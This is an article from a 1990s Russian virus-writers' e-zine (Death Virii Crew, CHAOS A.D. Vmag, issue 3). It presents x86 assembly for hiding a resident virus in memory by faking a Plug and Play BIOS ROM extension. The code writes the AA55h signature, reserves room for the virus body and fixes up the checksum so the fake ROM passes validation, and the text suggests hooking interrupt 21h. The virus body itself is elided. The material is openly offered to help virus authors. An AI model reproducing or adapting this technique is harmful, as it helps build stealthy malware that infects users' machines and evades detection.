[Death Virii Crew] Presents
CHAOS A.D. Vmag, Issue 3, Autumn 1996 - Winter 1997


                    Ура! Мы добрались и до биоса!

    Hа гробах 486, Пентюх есть очень прикольная весчь как Plug 'n' Play Bios.
Предлагаю сделать ентот биос и на тройках и там где его нет и не было вообще.
Hу вы вкурсе что это будет за "биос" ;) Как известно PNP биос лежит где-то в
районе EF00-EFFF чему равняется 16кб памяти. По моему для вирия этого
вполне хватает. Для особо любознательных структуру биоса можно представить на
рисунке:
-------------------------------------------------------------------------------
 Offset         Length         Содержимое
               (in bytes)
+0              1              55h           сигнатура ПЗУ,
+1              1              AAh           доступного биос = AA55h

+2              1             length         Длина модуля ПЗУ
                                            в единицах по 512 байтов
+3               ?              ????        исполняющийся код
-------------------------------------------------------------------------------

Как же определить есть ли у нас биос по такому-то адресу? Hапример,
записать в первый байт 0, и считать первый байт. If 0 then биоса нет (пока ;)
а если не 0 то значит этот fucking bios есть. Hу чтож тогда пробуйте по другому
адресу, например c800h.

Вот процедура определения PNP биоса:
;====кут хере=======
; check for Plug'n'play bios
mov     ax,ef00h
mov     es,ax
xor     ax,ax
mov     es:[ax],ax
mov     ax,es:[ax]
cmp     ax,0
jz      pnpbios_no         ; ага (почесывая руки ;) нету!
jmp     pnpbios_yes        ; ага (почесывая ... ;) есть :((
;
;
pnpbios_yes:
;
mov     ax,0c800h  ; ну чтож, попробуем по другому адресу ;)
mov     es,ax
..
..

;
;
;Hу раз биоса нет значит надо его сделать:

pnpbios_no:
mov     ax,0aa55h          ; выставляем себя что мы PNP bios
mov     es:[0],ax          ;
mov     ah,32              ;
mov     es:[2],ah          ;

а вот сюда мона записать свой "биос"
....virii code from es:[3] to es:[3fffh] ; а здеся наш вирус

;эта процедурка обязательно нужна, т. к. CRC биоса должно быть равно 0
mov     cx,3ffeh           ; вычисляем CRC себя
xor     al,al              ; для того чтобы выставить равным 0

crc_loop:
        add     al,es:[cx]
        loop    crc_loop
        mov     ah,0
        sub     ah,al
        mov     es:[3fffh],ah
                          ;
; virii end
; здесь можна передать управление ничего не подозревающей программе ;)

;==кут хере===

Хотя некоторые проги могут определить что "биос" перехватывает 21-ый int , но
мало ли че может делать биос ;)

                                        T0RmenT0R & Supervisor
                                          [Death Virii Crew]
                                          from Chaos Station BBS
